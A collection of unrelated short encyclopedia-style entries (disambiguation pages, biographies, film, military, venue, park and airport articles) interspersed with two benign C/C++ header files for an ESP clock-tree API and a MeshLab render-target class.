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Walk of shame refers to a situation in which a person must walk past strangers or peers alone, usually after having had casual sex. Walk of shame or Walk of Shame may also refer to: Walk of Shame (film), 2014 "Walk of Shame" (song), a song by Pink from her album The Truth About Love "Walk of Shame", a song by The Like from their album Release Me Walk of Shame, 2011 country music album by Nikki Lane The exit a player makes after being voted out on The Weakest Link. "Walkashame", a song by Meghan Trainor from her album Title See also Shame (disambiguation)
Audrey Hepburn wore a "little black dress" in the 1961 romantic comedy film Breakfast at Tiffany's. The garment was designed by Hubert de Givenchy, and is worn during the opening scene of the film. The dress has been described as one of the most iconic clothing items of the twentieth century. History Audrey Hepburn was a close friend of French designer Givenchy, referring to the designer as her "best friend" while he considered her his "sister". In 1961, Givenchy designed a little black dress for the opening scene of Blake Edwards' romantic comedy, Breakfast at Tiffany's, in which Hepburn starred alongside actor George Peppard. Her necklace was made by Roger Scemama, a French jeweler and parure-maker who designed jewelry for Givenchy. Hepburn took two copies of the dress back to Paramount, but the dresses, which revealed a considerable amount of Hepburn's leg, were not suitable for the movie, and the lower half of the dress was redesigned by Edith Head. The original hand-stitched dress is currently in Givenchy's private archive, while one copy Hepburn took back to Paramount is on display at the Museo del Traje in Madrid and another was auctioned at Christie's in December 2006. None of the actual dresses created by Givenchy were used in either the movie or the promotional photography. The movie poster was designed by artist Robert McGinnis, and in Sam Wasson's book, Fifth Avenue, 5am, he explains that the photos on which he based the poster did not show any leg and that he had added the leg to make the poster more appealing. The actual dresses used in the movie, created by Edith Head, were probably destroyed by Head and Hepburn at Western Costume in California after shooting. In November 2006, Natalie Portman appeared on the cover of Harper's Bazaar, wearing one of the original Givenchy dresses created for Breakfast at Tiffany's. On 5 December 2006, this dress was auctioned at Christie's in London and purchased by an anonymous buyer by telephone. The sale price was estimated by the auction house to have ended somewhere between £50,000 and £70,000, but the final price was £467,200 ($923,187). The money raised in the auction of the black dress went toward helping build a school for the poor people of Calcutta. It so happened that Givenchy, the designer of the dress, had donated the dress to Dominique Lapierre, the author of the book City of Joy, and his wife to help raise funds for the charity. When they witnessed such a frenzied auction, the amount that was raised so astonished Lapierre that he observed, "I'm absolutely dumbfounded to believe that a piece of cloth which belonged to such a magical actress will now enable me to buy bricks and cement to put the most destitute children in the world into schools." Sarah Hodgson, a film specialist at Christie's said, "This is one of the most famous black dresses in the world—an iconic piece of cinematic history—and we are glad it fetched a historic price." Design The model is a Givenchy black Italian satin sheath evening gown. Christie's describes it as "a sleeveless, floor-length gown with fitted bodice embellished at the back with distinctive cut-out décolleté, the skirt slightly gathered at the waist and slit to the thigh on one side, labelled inside on the waistband Givenchy; accompanied by a pair of black elbow-length gloves". The bodice is slightly open at the back with a neckline that leaves uncovered shoulders. In the film, Audrey Hepburn wears a matching pair of elbow-length gloves the same colour and strings of pearls. The look has been described as "ultra-feminine" and "Parisian". The little black dress attained such iconic fame and status that it became an integral part of a woman's wardrobe. Givenchy not only chose the dress for the character in the film, but also added the right accessories to match the long gown in the form of a pearl choker of many strands, a foot long cigarette holder, a large black hat and opera gloves which not only "visually defined the character but indelibly linked Audrey with her". Given her physical assets, she, along with her designer friend Givenchy, created a dress to fit her role in the film of a waif. A well chosen black silk dress with appropriate accessories hit the bull's eye to bring her effervescent personality to the fore; the dark oversized sunglasses completed the ensemble of the little black dress (LBD) which was called "the definitive LBD". The dress, which outlined her lean shoulder blades, thus became the Hepburn style. Reception The dress is cited as one of the most iconic of the 20th century and film history. It has been described as "perhaps the most famous little black dress of all time" and exerting a major influence on fashion itself by directly making it popular. In a survey conducted in 2010 by LOVEFiLM, Hepburn's little black dress was chosen as the best dress ever worn by a woman in a film. In this respect, Helen Cowley, publisher of LOVEFiLM, declared: "Audrey Hepburn has truly made that little black dress a fashion staple which has stood the test of time despite competition from some of the most stylish females around." Hepburn's white dress and hat worn in My Fair Lady was voted sixth. Hepburn's little black dress (LBD) has been copied and parodied numerous times in other works worldwide, such as Natalie Portman in a 2006 Harper’s Bazaar cover shoot and Lee Ji-eun in Hotel del Luna. See also White floral Givenchy dress of Audrey Hepburn Black dress of Rita Hayworth Pink dress of Marilyn Monroe White dress of Marilyn Monroe List of film memorabilia List of individual dresses References Further reading Tony Nourmand and Audrey Hepburn, The Paramount Years London, Westbourne Press Ltd, 2006, pp. 94–127. Sean Hepburn Ferrer, Audrey Hepburn: An Elegant Spirit – A Son Remembers, Sidgwick and Jackson, 2003, pp. 155–160. 1960s fashion 1961 clothing Dresses in film Audrey Hepburn Film memorabilia Givenchy, Hepburn
Bob Holder (born 1931) is a champion rodeo rider of Cootamundra, New South Wales, in 2019 reckoned as the world's oldest professional in the sport. History At the age of five Holder accompanied his father droving, and after some formal education became a successful real-estate agent with Elders Real Estate, Cootamundra, and lives in the district. Holder first entered a competition as a Novice at Tumut rodeo aged 14, winning the bronc ride. In 1953 he won the Novice class at the Wagga showgrounds in October 1953. In March 1954 he came fourth in both the NSW bareback riding and bullock riding championships at Condobolin. Holder won the Riverina bareback riding championship at Narrandera a month later. In 1959 he was invited to appear on the American rodeo circuit, on a tour that culminated at Madison Square Garden, one of the first Australian cowboys to be so honoured. In later years his specialty was team roping as the "header", whose job is to lasso the horns of a steer while his partner (Brian Lawless, another Cootamundra resident) as "heeler" tackles the hind legs. Recognition On 23 October 2017 Holder was inducted into the Australian Professional Rodeo Association's Hall of Fame. Holder's daughter Kerrie is a champion horse rider, specializing in barrel racing events. References Rodeo in Australia 1931 births Living people Roping (rodeo) Bareback bronc riders Steer wrestlers
The 8th Zouaves Regiment () was an infantry unit of the French Army. Created in 1914, the unit was designated as 8th Marching Zouaves Regiment. Creation and different nominations 1914 : 8th Marching Zouaves Regiment 1920 : redesignated 8th Zouaves Regiment 1928 : dissolution 1934 : reconstituted 1940 : dissolution 1946 : recreated under designation 8th Zouaves Demi-Brigade 1956 : dissolution 1959 : creation of the 8th Zouaves Battalion from the 3rd Battalion of the 21st Infantry Regiment () 1962 : dissolution History World War I The 8th Zouaves Regiment disembarked from Bordeaux and Sète between 7 and 15 August 1914, consisting of three battalions (1st, 2nd, and 4th), the 3rd battalion belonging to a marching tirailleur regiment at the corps of the Moroccan Division. On 20 August they were in the region of Mézières - Charleville. In the following days, they heard the cannon of Charleroi. On 25 August, they crossed the border of Belgium, and that of Sugny, a small Belgian village, where they witnessed the burning of the villages of the Meuse and Semois. They welcomed the IX Corps and assumed the rearguard. They engaged in combat at the corps of the Moroccan Division alongside the 4e RTT, the 7e RTA, and the RMLE. 1914 Unfolding on the Marne Yser October 1914: the 8th Zouaves took form with the four respective battalions and designated "8". 1915 In August 1915, the regimental colors were received. The regiment had three colonels throughout the war, lieutenants-colonel Modelon, Auronx and Lagarde. Lieutenant-colonel Modelon earned the regiment two palms and the fourragere with colors of the Croix de guerre 1914-1918. Under the command of Colonel Lagarde, the regiment conquered five palms, the fourragère with colors of the Médaille militaire, then the fourragère with colors of the Légion d'honneur. Conferred the Croix de Chevalier de la Légion d'Honneur to the regimental colors, the 8th Zouaves Regiment was cited seven times at the orders of the armed forces during the course of the war (1914-1918). Artois 25 September - 6 October: Second Battle of Champagne 1916 Verdun 1916 Somme 1917 Verdun 1917 1918 Verdun Villers-Bretonneux Soissons/ Chemin des Dames While only taking part, to life in the sector, the 8th Zouaves was in almost all the major action offensives of the war. The regiment was able to inscribe on the regimental colors: la Marne, Yser, Artois, Champagne, Somme, Moronvilliers, Verdun, Soissons, 18 July Chemin des Dames. Interwar period After 1919, the regiment was in Oran. It dissolved in 1928, the 2nd Zouave replaced the 8th Zouave. The regiment held garrison at Camp de Châlons in 1943. Accordingly, the regiment was motorised, the only regiment of Zouave in Metropole... World War II In 1940, the 8th Zouaves, with the 12th Motorised Infantry Division () disappeared at Dunkirk. Since 1945 Formed a Commando unit in Algeria Algeria 1956 - 1962 At the cease-fire on 19 March 1962 in Algeria, the 8th Zouaves Regiment constituted along with 91 other regiments, the 114 units of the local force through the accords of Evians on 18 March 1962. The 8th Zouaves Regiment formed a local unit force of the Algerian order of battle, the 496°UFL-UFO composed of 10% metropolitan military and 90% Muslim military personnel, while being at the service of the executive provisionary power of Algeria until the independence of Algeria. Traditions Regimental Colors Decorations The Regimental Color are decorated with: Légion d'honneur Croix de guerre 1914-1918 with : 7 palms and 1 silver star , Ordre du Mérite Militaire Chérifien. Fourragere: Fourragère with colors of Croix de guerre 1914-1918 Fourragère with colors of the Médaille militaire. Fourragère with colors of the Légion d'honneur attributed to the regiment on 3 September 1918. Honours Battle honours Saint-Gond 1914 Artois 1915 Champagne 1915 Les Monts 1917 Verdun 1917 Soissonnais 1918 Vauxaillon 1918 Regimental Commanders 1914-1918 lieutenant-colonel Modelon lieutenant-colonel Auroux lieutenant-colonel Lagarde colonel Cloitre in the 1920s 1935 - 1937: Colonel Dame 1940 lieutenant-colonel Anzemberger In 1956 Colonel Gaubillot and Commandant Bonamy Notable Officers & Zouaves Robert Jallet (1890-1945), served in the 8th Zouaves during World War I. Edgard Tupët-Thomé from October 1938 to 1940. See also 3rd Algerian Infantry Division References Infantry regiments of France Military units and formations established in 1914 Military units and formations disestablished in 1962
WINH may refer to: WINH (FM), a radio station (91.9 FM) licensed to serve Hinckley, Minnesota, United States WWVR (FM), a radio station (98.5 FM) licensed to serve Paris, Illinois, United States, which held the call sign WINH from 2006 to 2009
```objective-c /* * / #pragma once #include "esp_err.h" #include "soc/clk_tree_defs.h" #ifdef __cplusplus extern "C" { #endif /* * @brief Degree of precision of frequency value to be returned by esp_clk_tree_src_get_freq_hz() / typedef enum { ESP_CLK_TREE_SRC_FREQ_PRECISION_CACHED, /< Get value from the data cached by the driver; If the data is 0, then a calibration will be performed / ESP_CLK_TREE_SRC_FREQ_PRECISION_APPROX, /< Get its approxiamte frequency value / ESP_CLK_TREE_SRC_FREQ_PRECISION_EXACT, /< Always perform a calibration / ESP_CLK_TREE_SRC_FREQ_PRECISION_INVALID, /< Invalid degree of precision / } esp_clk_tree_src_freq_precision_t; /* * @brief Get frequency of module clock source * * @param[in] clk_src Clock source available to modules, in soc_module_clk_t * @param[in] precision Degree of precision, one of esp_clk_tree_src_freq_precision_t values * This arg only applies to the clock sources that their frequencies can vary: * SOC_MOD_CLK_RTC_FAST, SOC_MOD_CLK_RTC_SLOW, SOC_MOD_CLK_RC_FAST, SOC_MOD_CLK_RC_FAST_D256, * SOC_MOD_CLK_XTAL32K * For other clock sources, this field is ignored. * @param[out] freq_value Frequency of the clock source, in Hz * * @return * - ESP_OK Success * - ESP_ERR_INVALID_ARG Parameter error * - ESP_FAIL Calibration failed / esp_err_t esp_clk_tree_src_get_freq_hz(soc_module_clk_t clk_src, esp_clk_tree_src_freq_precision_t precision, uint32_t freq_value); #ifdef __cplusplus } #endif ```
House Gift is a lifestyle game show created by ITV. Show overview Three interior designers set out to find the perfect gift for a house. The gift they'll choose must complement the home, and also appeal to the homeowner's tastes. Each designers must buy an item in four hours with different amounts of money: one getting £200, one getting £500 and one getting £1,000. The homeowners at the end of the show must pick one of the three gifts chosen by the designers, having no idea how much the items cost. In early series, the amounts were slightly different, with the lowest being £80, the middle amount being £300 and the highest being £1,000. Interior designers Three designers try to impress the homeowner each day. Laurence Llewelyn-Bowen is always one of the designers, along with an antiques expert and another female designer, usually Danielle Proud. A list of interior designers who appear listed in order of frequency: Transmissions Original series Special External links House Gift on ukgameshows.com 2009 British television series debuts 2011 British television series endings 2000s British game shows 2010s British game shows ITV game shows Television series by ITV Studios
The NorVa is a performing venue located in Norfolk, Virginia, the name being a syllabic abbreviation of the city and state of its location. About The theatre was the brainchild of local music venue entrepreneurs Bill Reid and Rick Mersel, who have also developed the Atlantic Union Bank Pavilion and have ties to the development of Veterans United Home Loans Amphitheater. In 2014, the NorVa was acquired by Anschutz Entertainment Group. The original venue opened in 1922 as a 2,000-seat motion picture and live entertainment (vaudeville) theater. It continued as a movie theater into the 1970s. The building served as home to the Downtown Athletic Club from 1980 until 1998. The NorVa reopened as a concert venue on April 28, 2000, with James Brown performing the inaugural show. Movie theater history Built by The Johnson Construction Co. Operated by the W.W.V. (Wells, Wilmer, and Vincent) Co., Inc. Part of the Wells entertainment group which included Granby Theatre and Wells Theatre. William S. Wilder was the first manager before opening The Colley Theater (Naro Expanded Cinema) in 1936, and The Commodore Theater in 1945. Newspaper articles of the time used "theater" and "theatre" interchangeably. Pipe organ manufactured by The Robert Morton Co. Norva Concert Orchestra Director - Prof. Charles Borjes Original Organist - Jack Griffith Chairs furnished by Virginia School Supply Co. of Richmond, Virginia. 1922 November 27 - Bright Eyes and The Man Who Saw Tomorrow were the first films. November 30 - The Sin Flood External links The 125-Plus People, Places and Things Ruling the Rock & Roll Universe, Rolling Stone (2008) The Best Music Venues in America: Readers' Choice, Rolling Stone (2013) References Theatres in Virginia Music venues in Virginia Buildings and structures in Norfolk, Virginia Culture of Norfolk, Virginia 1922 establishments in Virginia Anschutz Corporation Downtown Norfolk, Virginia
Aldridge may refer to: Places In the United Kingdom Aldridge, a town in England Aldridge-Brownhills Urban District Aldridge-Brownhills (UK Parliament constituency), its representation in the House of Commons In the United States Aldridge, Alabama Aldridge, Montana, a ghost town in Park County, Montana Aldridge, Texas, a ghost town in Jasper County, Texas Aldridge Botanical Gardens in Hoover, Alabama People Aldridge (surname) Aldridge Bousfield (1941–2020), American mathematician and writer The Aldridge Sisters, American singing act Other uses Aldridge Pryor, a fictional character from the British comic magazine Viz Aldridge Foundation, an educational charity which sponsors schools in England See also Aldridge Hotel (disambiguation), the name of three Hotels in Oklahoma
Geno may refer to: People Geno (given name), including a list of people with the name Marián Geňo (born 1984), Czech footballer Evgeni Malkin (born 1986), Russian ice hockey player nicknamed Geno Art and entertainment "Geno" (song), a 1980 song by Dexys Midnight Runners Geno (album), a compilation album by Dexys Midnight Runners Geno (Super Mario), a fictional character in Super Mario RPG Geno Studio, a Japanese animation studio Geno, a fictional character in Fortnite Battle Royale Other uses Geno Biosphere Reserve, Iran See also Genos (disambiguation) Gino (disambiguation) Gino's (disambiguation)
How To may refer to: An owner's manual A tutorial A user guide How to... (film series), an animated short film series by Walt Disney Productions How To (book), a 2019 book by Randall Munroe How To with John Wilson, a 2020 HBO comedy docuseries How 2, an educational television series HOWTO documents, part of the Linux Documentation Project HowTo, a satirical wiki project, see HowTo.tv, a video website See also Method (disambiguation) wikiHow HowToBasic
Un militare e mezzo (literally One soldier and half) is a 1960 Italian comedy film directed by Steno. Plot Carletti, a 50-year-old man who has returned from the United States with his family, is forced into the military because he had evaded his draft. In the barracks he finds a marshal who forces him to follow law and to observe the rigorous military discipline. Carletti makes every effort in order to get out of this condition and to return to his pharmaceutical affairs which, according to him, would bring him fortune. External links 1960 films 1960s Italian-language films 1960 comedy-drama films Italian comedy-drama films Films set in Rome Films directed by Stefano Vanzina Social realism in film Commedia all'italiana Lux Film films 1960s Italian films
```objective-c /**************************************************************************** * MeshLab o o * * A versatile mesh processing toolbox o o * * _ O _ * * Visual Computing Lab /\/\| * * ISTI - Italian National Research Council \| * * \ * * All rights reserved. * * * * This program is free software; you can redistribute it and/or modify * * (at your option) any later version. * * * * This program is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * for more details. * * * ***************************************************************************/ #ifndef RFX_RENDERTARGET_H_ #define RFX_RENDERTARGET_H_ #include <cassert> #include <QString> #include <QMap> #include <QImage> #include <GL/glew.h> #include "rfx_state.h" class RfxRenderTarget { public: RfxRenderTarget(const QString&); virtual ~RfxRenderTarget(); void SetSize(int w, int h) { width = w; height = h; } void SetClear(int pass, float depthClear, float colorClear); void AddGLState(int p, RfxState s) { passStates[p].append(s); } const QString& GetName() { return name; } GLuint GetTexture() { return colTex; } QImage GetQImage(); bool Setup(int pass); void Bind(int pass); void Unbind(); void UseViewPortDim(bool useVD) { vportdim = useVD; } void GenMipmaps(bool genMip) { mipmaps = genMip; } private: GLuint fbo; GLuint colTex; GLuint depTex; QString name; int width; int height; bool mipmaps; bool vportdim; bool initOk; struct RTOptions { GLint clearMask; bool depthClear; float depthClearVal; bool colorClear; float colorClearVal[4]; }; QMap<int, RTOptions> passOptions; QMap<int, QList<RfxState> > passStates; }; #endif /* RFX_RENDERTARGET_H_ */ ```
Sholicola is a genus of bird in the family Muscicapidae that was erected in 2017. They are commonly referred to as sholakilis. The two species placed in this genus endemic to the montane grassland and cloud forest complex known as sholas in southern India: Nilgiri blue robin (Sholicola major) White-bellied blue robin (Sholicola albiventris) A third species Sholicola ashambuensis described by the original authors is close to Sholicola albiventris and may possibly be treated as a subspecies of the latter. They were formerly placed in the genus Brachypteryx and thought to be "shortwings". Species in the genus Brachypteryx show strong sexual dimorphism and because of this misplacement, the two south Indian species were moved to Myiomela by Pamela Rasmussen. Molecular phylogeny studies however showed these two species to be flycatchers that foraged close to the ground. A new genus had to be erected as the species are quite distinct from their sister genera Niltava, Cyornis and Eumyias from which they diverged about 11 million years ago [(Sholicola is basal in the clade that contains it - Sholicola, (Cyornis, (Niltava, (Eumyias, Cyanoptila))) which is sister to another major clade that includes Ficedula, Monticola, Saxicola, Luscinia, Tarsiger, Larvivora, Brachypteryx etc.]. References Bird genera
Jessie Gruman (December 7, 1953 - July 14, 2014) was a social psychologist active in the movement to incorporate evidence into health care and to help consumers adopt healthier behaviors. Gruman was the founder and president of the Washington, DC-based Center for Advancing Health from 1992 to 2014. She was the author of the book AfterShock: What to Do When the Doctor Gives You — or Someone You Love — a Devastating Diagnosis (Walker, 2007, second edition 2010). She lived in New York City. At 20 she was diagnosed with Hodgkin's lymphoma. As was customary at the time, she was treated with heavy doses of radiation, which is now known to often lead to a succession of cancers later in life. At 30 she developed cervical cancer, and at 50 she developed colon cancer. At 57 she was diagnosed with stomach cancer, which she announced on the Center for Advancing Health's blog. At 59 she was diagnosed with metastatic lung cancer. As president of the Center for Advancing Health Gruman drew on her own experience of treatment for five cancer diagnoses, interviews with patients and caregivers, surveys and peer-reviewed research to describe and advocate for policies and practices to overcome the challenges people face in finding good care and getting the most from it. Early life and first cancer Gruman was born in Berea, Kentucky in 1953, and graduated from Vassar College in 1975 with a BA in English. She received a PhD in social psychology from Columbia University in 1984. Her interest in psychology was sparked by her experience when she had been treated for cancer at the University of Wisconsin Medical Center at the age of 20. Despite her life-threatening condition, she struggled to comply with treatments that would increase her chance of her recovery. This casual, irrational misbehavior in the face of extreme risk drove her interest in the complicated forces that influence how people act with regard to their health and health care. Career From 1979 to 1984, Gruman worked at the Greenwich House Counseling Center with substance abusers and their families. She implemented the employee health promotion program, Total Life Concept (TLC) at the national headquarters of AT&T, Communications between 1984 and 1986. Gruman then managed the American Cancer Society's public education efforts directed toward adults from 1986 through 1988. She set up the nation's largest tobacco control demonstration project, ASSIST (the American Stop Smoking Intervention Study) at the National Cancer Institute, part of the National Institutes of Health. In 1992, the John D. and Catherine T. MacArthur Foundation and the Nathan Cummings Foundation recruited Gruman to lead a new Washington DC-based policy institute, the Center for the Advancement of Health (renamed the Center for Advancing Health in 2009), to recognize the influence of behavioral, social, economic and environmental factors on health and disease. The center's core work includes the Health Behavior News Service, which covers the latest peer-reviewed studies and systematic reviews on the effects of behavior on health, health disparities and patient engagement research. Gruman wrote, spoke and was interviewed frequently about how people use scientific evidence when making decisions about their health and health care and what it means to be a health care consumer. She contributed regularly to the center's Prepared Patient Blog and frequently commented on current health news via Twitter. Research and policy conclusions Gruman used her personal and academic background to understand how people respond to serious illness. She interviewed 200 patients and families about how they used scientific information after devastating medical diagnoses. In a keynote address, she said, "I fear that the trend toward consumer-driven health care will disproportionately damage the health of the less educated and less wealthy, and that the net effect on the nation's health has already proved negative." She concluded that most patients are unable to make critical decisions about their health care in the consumer-driven model. Some people, called "monitors," track down detailed information, while other people, called "blunters," don't want information. One blunter, a theoretical physicist, said he would be "insulted" if someone read 15 papers on theoretical physics and asked him to help design an experiment; he pays his doctor to explain his choices. A "monitor," a lawyer, applied her legal research skills but couldn't think clearly enough to decide. People turn to the Internet, become overwhelmed, or don't understand the significance of the information. "Most health information is bad news," is stressful, and makes decisions even more difficult. Board of Directors and Membership Gruman served on many boards and advisory panels, including the Advisory Panel on Medicare Education (Centers for Medicaid and Medicare Services), the American Psychosocial Oncology Society, the Annals of Family Medicine, the Center for Information Therapy, the Center for Medical Technology Policy, the Claremont School of Community and Global Health, the Commission of Community-Engaged Scholarship in the Health Professions, the Health and Behavior Research Alliance, the Journal of Participatory Medicine, the Milbank Memorial Fund, the National Advisory Council for the Agency for Healthcare Research and Quality (US Department of Health and Human Services), the National Health Council, the National Organization of Tobacco Use Research Funders, the Public Health Institute, the Sallan Foundation, the United States Cochrane Center and VillageCare. Gruman was a member of the American Academy of Arts and Sciences and the Council on Foreign Relations. She was a fellow of the New York Academy of Medicine and the Society for Behavioral Medicine. Gruman received honorary doctorates from Brown University, Carnegie Mellon University, Clark University, Georgetown University, New York University, Northeastern University, Salve Regina University, Syracuse University and Tulane University, and the Presidential Medal of the George Washington University. She was also honored by Research!America, the National Coalition for Cancer Survivorship, and the Society for Behavioral Medicine, which in 2014 created the Jessie Gruman Award for Health Engagement to recognize annually an individual who has made a pivotal contribution to research, practice or policy in the field of health engagement. Death Gruman died at home in New York on July 14, 2014. Bibliography Gruman, J. Preparing Patients to Care for Themselves. American Journal of Nursing. 2014;July;114(7)11. Gruman, J. An Accidental Tourist Finds Her Way in the Dangerous Land of Serious Illness. Health Affairs. 2013;February;32(2);427-431. Gruman, J. Slow Leaks: Missed Opportunities to Encourage Our Engagement in Our Health Care. Washington, DC: Health Behavior Media, 2013. Gruman, J. A Year of Living Sickishly: A Patient Reflects. Washington, DC: Health Behavior Media, 2013. Gruman, J. Making Health Information Technology Sing for People with Chronic Conditions. American Journal of Preventive Medicine. 2011;40(5 Suppl 2);S238-240(2011-05). Gruman, J. AfterShock: What to Do When the Doctor Gives You – or Someone You Love – A Devastating Diagnosis. New York: Walker and Company, 2010 (second edition). Gruman J, Holmes Rovner M, French ME, Jeffress D, Sofaer S, Shaller D, Prager DJ. From Patient Education to Patient Engagement: Implications for the Field of Patient Education. Patient Education and Counseling. 2010;March;78(3);350-356. Gruman, J. The Experience of the American Patient: Risk, Choice, Trust. Washington, DC: Health Behavior Media, 2009. Gruman J. and Smith CW. Why the Journal of Participatory Medicine? Journal of Participatory Medicine. October 22, 2009. Gruman, J. Behavior Matters: 15 Years of Health Behavior Advocacy. Washington, DC: Health Behavior Media, 2008. Holmes-Rovner M, Gruman J, Rovner DR. Shared Decision Making in the US: Research and Development Outpaces Delivery. Journal for Evidence and Quality in Health Care. 2007;101:254-258. Gruman, J. Science and the Bush Administration. Science. 2005; Jan 28;5709:529. Gruman, J. How Foundations Hurt Charities. Chronicle of Philanthropy. 2004; August 19. Sofaer, S. and Gruman J. Consumers of Health Information and Health Care: Challenging Assumptions and Defining an Alternative. American Journal of Health Promotion. 2003; Nov-Dec; 18(2:151-6.) Gruman, J. Basic vs. Applied Research: Finding a Balance. Chronicle of Higher Education. March 28, 2003. Gruman J and Prager DJ. Health Research in a Time of Plenty: A Strategic Agenda. Health Affairs. 2002;21(5):265-269. Sloan RP, Gruman J, Allegrante JP. Investing in Employee Health: San Francisco. Jossey-Bass Publishers, 1987. References External links Center for Advancing Health AfterShock: What to Do When the Doctor Gives You — or Someone You Love — a Devastating Diagnosis Eulogy on the blog of the Society for Participatory Medicine 1953 births 2014 deaths People from Berea, Kentucky Vassar College alumni Columbia University alumni
Rolf Julius Engen (August 5, 1929 – July 31, 2018) was an American businessman, inventor, basketball player, volleyball player, coach, and entrepreneur in the American fine wine market. Initially recruited by UCLA coach John Wooden to play basketball on scholarship in 1950, Engen later transitioned to volleyball. A founding member of UCLA's men's volleyball team, Engen was twice selected as first-team All-American, won two National Collegiate Championships, was a nine-time USA Volleyball National Open Champion, a 10-time All-American (consecutively 1953–1962), and 1960 USA Volleyball's Most Valuable Player. Engen won the USA Volleyball All-Time Great Player Award in 1966, was inducted into the Southern California Indoor Volleyball Hall of Fame in 2017, was inducted into the Volleyball Hall of Fame in 1991, and he served as Commissioner of Volleyball at the 1984 Los Angeles Olympic Games. Early life and playing career Rolf Engen was born in Minneapolis, Minnesota; he later moved with his family to Santa Ana, California, where he attended Santa Ana Elementary School. Engen began playing volleyball at the Santa Ana YMCA as a teenager in 1947. He was an All-Army setter while stationed with the U.S. Army at Fort Lewis south of Tacoma, Washington. Engen attended Santa Ana College (SAC) from 1947 through 1950, setting an Eastern Conference record of 18.8 points per game while being named First-Team All-Conference. After graduating from SAC with a degree in business, he was offered a scholarship to UCLA, and in 1950 was recruited to the basketball program by John Wooden. An automobile accident was the cause of his transitional change from basketball to volleyball. He served as both player and coach for the 1953 and 1954 volleyball teams at UCLA, led the Bruins to two consecutive USVBA national championships, and was named First-Team All-Conference both years. Engen joined the Hollywood YMCA team with other former Bruins and played on eight USVBA Open Championship Teams, was named All-American 10 times (consecutively 1953–1962), and was the 1960 US Open MVP. Engen won gold medals at the 1955 and 1959 Pan-American Games (in Mexico City and Chicago respectively) and was a member of the fifth-place team at the World Games in Paris in 1960. Engen later achieved the National Open Gold in 1964 and in 1966 was named U.S. Volleyball Association All-Time Great Player. Engen later began to coach. Beginning in the 1970s, he became a coach at Laguna Beach High School (winning two CIF championships and coaching Dusty Dvorak), formed the Laguna Beach Volleyball Club, and coached the boys' team to two silver and three gold medals at the AAU Junior Olympics from 1975 to 1979 In 1984, Engen was appointed Commissioner for Volleyball for the Los Angeles 1984 Summer Olympics, during which the US Team won its first gold medal. Engen was inducted into the International Volleyball Hall of Fame in 1991 and was thereafter named to the 1953–78 All-Era team for the years. Engen was also later inducted into the Southern California Indoor Volleyball Hall of Fame in 2017. Engen also played tennis, which he referred to as “the sport of a lifetime.” Business career Engen founded Rolf's Wine & Spirits (originally incorporated as Rolf's Grocery via Rolf Engen Inc.) in 1953 in the citriculture hub of Tustin, California following a five-year period of teaching at Santa Ana High School. Rolf's was the first wine and spirits store in Orange County, California as well as one of the first to be founded in California. His wine business expanded to Newport Beach, Placentia, Laguna Hills, Orange, and Irvine. He traveled in Europe in the 1960s, and was among the first importers of European wines to Orange County. He began to develop other wine businesses later in life, filing patents for wine tools, dispensers, preservatives, and services. Engen was a director and vice chairman of the board of El Dorado Bank in Tustin. El Dorado Bank was acquired by Commerce Security in 1996. In 2018, Wine Business Monthly called him "the face of wine for southern California for 6 decades." Later in life, Engen sold his retail business, now a division of Santa Ana-based Spectrum Wine, now located in the greater South Coast Metro shopping and business district. Death Engen died on July 31, 2018, in Laguna Beach, California. References 1929 births 2018 deaths Basketball players from Minneapolis Sports coaches from Minneapolis UCLA Bruins men's basketball players UCLA Bruins men's volleyball players UCLA Bruins men's basketball coaches Wine merchants
Watling Park is a public park in Burnt Oak in the London Borough of Barnet. It is one of Barnet's sixteen premier parks. It is a hilly open area with mown grassland, a children's playground, a football pitch, a basketball pitch and a small rose garden. Burnt Oak Brook, a tributary of the Silk Stream, runs through the park. There are more natural areas of undergrowth at the borders of the park and along the banks of the brook. The park is in the Watling Estate, a London County Council housing estate built in the 1920s and named after the nearby Roman road. It opened in 1931. The area was formerly farmland, and oak trees on the hill are survivors of its rural past. The main entrance is at the corner of Watling Avenue and Orange Hill Road, and there is also access from Fortescue Road, Cressingham Road, Abbots Road and Colchester Road. Gallery See also Barnet parks and open spaces External links London Borough of Barnet, Watling Park London Gardens Online, Watling Park Kids Fund London, Watling Park References Parks and open spaces in the London Borough of Barnet
LaGrange Callaway Airport is a public airport three miles southwest of LaGrange, in Troup County, Georgia. The FAA's National Plan of Integrated Airport Systems for 2009-2013 called it a general aviation airport. In 1950-53 La Grange had airline flights: Southern Airways DC-3s. Facilities LaGrange Callaway Airport covers at an elevation of 693 feet (211 m). It has two asphalt runways: 13/31 is 5,600 by 150 feet (1,707 x 46 m) and 3/21 is 5,000 by 100 feet (1,524 x 30 m). In the year ending April 30, 2008 the airport had 17,100 aircraft operations, average 46 per day: 99% general aviation and 1% military. 62 aircraft were then based at the airport: 82% single-engine, 10% multi-engine, 2% jet and 6% glider. References External links LaGrange Callaway Airport LaGrange Callaway (LGC) at Georgia DOT Airport Directory Aerial photo as of 27 January 1993 from USGS The National Map Airports in Georgia (U.S. state) Buildings and structures in Troup County, Georgia Transportation in Troup County, Georgia
Lew Pollack (June 16, 1895 – January 18, 1946) was an American song composer and musician active during the 1920s and the 1930s. Career Pollack was born in New York City where he went to DeWitt Clinton High School and was active as a boy soprano in a choral group headed by Walter Damrosch. Starting out as a singer and pianist in vaudeville acts he began writing theme music for silent films before collaborating with others on popular songs. In 1914, he wrote "That's a Plenty", a rag that became an enduring Dixieland standard. Among his best-known songs are "Charmaine" and "Diane" with Ernö Rapée, "Miss Annabelle Lee", "My Yiddishe Momme" with Jack Yellen, made famous by Sophie Tucker, "Two Cigarettes in the Dark", "Alone with You" (from Rebecca of Sunnybrook Farm), "At the Codfish Ball" (featured in the Shirley Temple movie "Captain January" with Buddy Ebsen, and later the title of a Mad Men television episode). He also collaborated with Paul Francis Webster, Sidney Clare, Sidney Mitchell, and Ned Washington amongst others. He died of a heart attack in Hollywood at age 50. Recognition Lew Pollack was elected to the Songwriters Hall of Fame in 1970. References External links Lew Pollack's entry at the Songwriters' Hall of Fame Lew Pollack recordings at the Discography of American Historical Recordings. 1895 births 1946 deaths 20th-century American composers 20th-century American Jews 20th-century American musicians American ragtime musicians Composers from New York City Jewish American composers Jewish American songwriters Musicians from New York City Ragtime composers Songwriters from New York (state)
